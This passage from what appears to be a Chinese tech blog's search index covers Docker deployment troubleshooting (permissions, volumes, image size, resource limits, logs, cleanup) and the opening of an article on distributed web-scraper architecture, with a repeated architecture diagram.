python:3.11 WORKDIR /app # 创建非 root 用户 RUN useradd -m -u 1000 appuser \u0026\u0026 \\ chown -R appuser:appuser /app # 切换用户 USER appuser COPY --chown=appuser:appuser . . # 2. docker-compose.yml 中指定用户 services: app: user: \"1000:1000\" # UID:GID volumes: - ./data:/app/data # 3. 修改主机文件权限 sudo chown -R 1000:1000 ./data # 4. 在容器内修改权限 docker exec -u root container_name chown -R appuser:appuser /app/data ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:3:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#文件权限错误"},{"categories":null,"collections":null,"content":"卷挂载失败 问题表现: Error: invalid mount config: volume driver not found 解决方案: # 1. 使用绝对路径 services: app: volumes: - /absolute/path/to/data:/app/data # Linux/Mac - C:/absolute/path/to/data:/app/data # Windows # 2. 使用相对路径 services: app: volumes: - ./data:/app/data # 相对于 docker-compose.yml # 3. 使用命名卷 services: app: volumes: - mydata:/app/data volumes: mydata: driver: local # 4. Windows 路径转换 # Windows 下需要共享驱动器 # Docker Desktop → Settings → Resources → File Sharing ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:3:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#卷挂载失败"},{"categories":null,"collections":null,"content":"镜像构建问题 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:4:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#镜像构建问题"},{"categories":null,"collections":null,"content":"构建速度慢 解决方案: # 1. 使用多阶段构建 FROM python:3.11 AS builder WORKDIR /app COPY requirements.txt . RUN pip install --user -r requirements.txt FROM python:3.11-slim WORKDIR /app COPY --from=builder /root/.local /root/.local COPY . . ENV PATH=/root/.local/bin:$PATH # 2. 优化层缓存 # 把不常变的指令放前面 FROM python:3.11 WORKDIR /app # 先复制依赖文件 COPY requirements.txt . RUN pip install -r requirements.txt # 再复制代码 COPY . . # 3. 使用 .dockerignore .git/ __pycache__/ *.pyc *.pyo *.log .env node_modules/ # 4. 使用构建缓存 docker build --cache-from myimage:latest -t myimage:new . # 5. 使用 BuildKit export DOCKER_BUILDKIT=1 docker build -t myimage . ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:4:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#构建速度慢"},{"categories":null,"collections":null,"content":"镜像过大 解决方案: # 1. 使用更小的基础镜像 # ❌ 大镜像 (900MB+) FROM python:3.11 # ✅ 小镜像 (100MB+) FROM python:3.11-slim # ✅ 更小的镜像 (50MB+) FROM python:3.11-alpine # 2. 多阶段构建 FROM python:3.11 AS builder WORKDIR /build COPY requirements.txt . RUN pip install --prefix=/install -r requirements.txt FROM python:3.11-slim COPY --from=builder /install /usr/local COPY app /app WORKDIR /app # 3. 清理缓存 RUN apt-get update \u0026\u0026 \\ apt-get install -y --no-install-recommends gcc \u0026\u0026 \\ pip install -r requirements.txt \u0026\u0026 \\ apt-get purge -y gcc \u0026\u0026 \\ apt-get autoremove -y \u0026\u0026 \\ rm -rf /var/lib/apt/lists/* # 4. 使用 .dockerignore .git/ *.md tests/ docs/ # 5. 查看镜像层 docker history myimage:latest # 6. 压缩镜像 docker export container_name | docker import - myimage:compressed ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:4:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#镜像过大"},{"categories":null,"collections":null,"content":"资源限制问题 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:5:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#资源限制问题"},{"categories":null,"collections":null,"content":"内存不足 问题表现: Container killed due to memory limit 解决方案: # docker-compose.yml services: app: deploy: resources: limits: memory: 512M reservations: memory: 256M # 或使用旧语法 services: app: mem_limit: 512m mem_reservation: 256m # Docker run 命令 docker run -m 512m --memory-reservation 256m myimage # 查看容器内存使用 docker stats container_name ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:5:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#内存不足"},{"categories":null,"collections":null,"content":"CPU 限制 services: app: deploy: resources: limits: cpus: '0.5' # 限制使用 0.5 个 CPU reservations: cpus: '0.25' # 或 services: app: cpus: 0.5 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:5:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#cpu-限制"},{"categories":null,"collections":null,"content":"环境变量问题 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:6:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#环境变量问题"},{"categories":null,"collections":null,"content":"环境变量未生效 解决方案: # 1. docker-compose.yml 中设置 services: app: environment: - DEBUG=true - DB_HOST=database # 2. 从 .env 文件加载 services: app: env_file: - .env - .env.local # 3. 从主机环境继承 services: app: environment: - HOME # 从主机继承 HOME 变量 # 4. 运行时指定 docker run -e DEBUG=true -e DB_HOST=localhost myimage # 5. 查看容器环境变量 docker exec container_name env ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:6:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#环境变量未生效"},{"categories":null,"collections":null,"content":"Docker Compose 问题 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:7:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#docker-compose-问题"},{"categories":null,"collections":null,"content":"服务启动顺序 问题: 服务间有依赖关系 解决方案: services: app: depends_on: db: condition: service_healthy redis: condition: service_healthy db: healthcheck: test: [\"CMD\", \"pg_isready\", \"-U\", \"postgres\"] interval: 5s timeout: 5s retries: 5 redis: healthcheck: test: [\"CMD\", \"redis-cli\", \"ping\"] interval: 5s timeout: 3s retries: 5 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:7:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#服务启动顺序"},{"categories":null,"collections":null,"content":"配置文件重载 # 重新构建镜像 docker-compose build # 重新创建容器 docker-compose up -d --force-recreate # 只重启特定服务 docker-compose restart app # 查看配置 docker-compose config ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:7:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#配置文件重载"},{"categories":null,"collections":null,"content":"健康检查 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:8:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#健康检查"},{"categories":null,"collections":null,"content":"配置健康检查 # Dockerfile HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \\ CMD curl -f http://localhost:8000/health || exit 1 # docker-compose.yml services: app: healthcheck: test: [\"CMD\", \"curl\", \"-f\", \"http://localhost:8000/health\"] interval: 30s timeout: 10s retries: 3 start_period: 40s # 查看健康状态 docker ps docker inspect --format='{{.State.Health.Status}}' container_name ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:8:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#配置健康检查"},{"categories":null,"collections":null,"content":"日志管理 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:9:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#日志管理"},{"categories":null,"collections":null,"content":"日志过大 问题: 容器日志占用大量磁盘空间 解决方案: # docker-compose.yml services: app: logging: driver: \"json-file\" options: max-size: \"10m\" max-file: \"3\" # 查看日志大小 du -sh /var/lib/docker/containers/*/*-json.log # 清理日志 truncate -s 0 /var/lib/docker/containers/*/*-json.log # 全局配置 /etc/docker/daemon.json { \"log-driver\": \"json-file\", \"log-opts\": { \"max-size\": \"10m\", \"max-file\": \"3\" } } ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:9:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#日志过大"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:10:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#性能优化"},{"categories":null,"collections":null,"content":"容器启动慢 # 1. 减少层数 # ❌ 多层 RUN apt-get update RUN apt-get install -y package1 RUN apt-get install -y package2 # ✅ 合并层 RUN apt-get update \u0026\u0026 \\ apt-get install -y package1 package2 \u0026\u0026 \\ rm -rf /var/lib/apt/lists/* # 2. 使用缓存 FROM python:3.11 WORKDIR /app # 先安装依赖 (变化少) COPY requirements.txt . RUN pip install -r requirements.txt # 再复制代码 (变化多) COPY . . # 3. 预热镜像 docker pull myimage:latest docker-compose pull ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:10:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#容器启动慢"},{"categories":null,"collections":null,"content":"清理和维护 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:11:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#清理和维护"},{"categories":null,"collections":null,"content":"清理 Docker 资源 # 清理所有未使用的资源 docker system prune -a # 清理容器 docker container prune # 清理镜像 docker image prune -a # 清理卷 docker volume prune # 清理网络 docker network prune # 查看磁盘使用 docker system df ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:11:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#清理-docker-资源"},{"categories":null,"collections":null,"content":"调试技巧 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:12:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#调试技巧"},{"categories":null,"collections":null,"content":"1. 使用临时容器 # 运行临时容器调试 docker run -it --rm alpine sh # 挂载卷调试 docker run -it --rm -v $(pwd):/data alpine sh ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:12:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#1-使用临时容器"},{"categories":null,"collections":null,"content":"2. 覆盖入口点 # 覆盖 CMD docker run -it myimage bash # 覆盖 ENTRYPOINT docker run -it --entrypoint bash myimage ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:12:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#2-覆盖入口点"},{"categories":null,"collections":null,"content":"3. 检查网络 # 进入容器检查 docker exec -it container_name bash # 测试连接 ping other_container curl http://other_container:8080 telnet other_container 3306 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:12:3","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#3-检查网络"},{"categories":null,"collections":null,"content":"相关章节 Docker 部署 Docker 配置模板 监控告警 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:13:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#相关章节"},{"categories":null,"collections":null,"content":"分布式爬虫架构 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:0:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#分布式爬虫架构"},{"categories":null,"collections":null,"content":"概述 随着数据规模的不断扩大，单机爬虫在性能、稳定性和效率上遇到了瓶颈。分布式爬虫架构通过将爬取任务分散到多台机器上并行执行，可以大幅提升爬取效率，实现千万级甚至亿级的数据采集。 本文介绍分布式爬虫的核心概念、主流框架、架构设计、去重策略以及生产环境的最佳实践。 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:1:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#概述"},{"categories":null,"collections":null,"content":"基础概念 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:2:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#基础概念"},{"categories":null,"collections":null,"content":"定义 分布式爬虫是指将网页抓取任务分散到多个独立的爬虫节点上并行执行的爬虫系统。与单机爬虫相比，分布式爬虫通过任务分发、数据共享和协同工作，实现了更高的吞吐量和更强的容错能力。 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:2:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#定义"},{"categories":null,"collections":null,"content":"核心原理 分布式爬虫的核心是解决以下几个关键问题： 任务调度：如何有效地将待爬取的 URL 分配给各个爬虫节点 URL 去重：如何在多节点环境下避免重复爬取同一个 URL 数据共享：如何让各节点共享任务队列、去重集合和配置信息 负载均衡：如何保证各节点的任务量相对均衡 故障恢复：如何处理节点故障，保证任务不丢失 典型架构 graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:2:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#核心原理"},{"categories":null,"collections":null,"content":"核心原理 分布式爬虫的核心是解决以下几个关键问题： 任务调度：如何有效地将待爬取的 URL 分配给各个爬虫节点 URL 去重：如何在多节点环境下避免重复爬取同一个 URL 数据共享：如何让各节点共享任务队列、去重集合和配置信息 负载均衡：如何保证各节点的任务量相对均衡 故障恢复：如何处理节点故障，保证任务不丢失 典型架构 graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:2:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#典型架构"},{"categories":null,"collections":null,"content":"核心原理 分布式爬虫的核心是解决以下几个关键问题： 任务调度：如何有效地将待爬取的 URL 分配给各个爬虫节点 URL 去重：如何在多节点环境下避免重复爬取同一个 URL 数据共享：如何让各节点共享任务队列、去重集合和配置信息 负载均衡：如何保证各节点的任务量相对均衡 故障恢复：如何处理节点故障，保证任务不丢失 典型架构 graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| 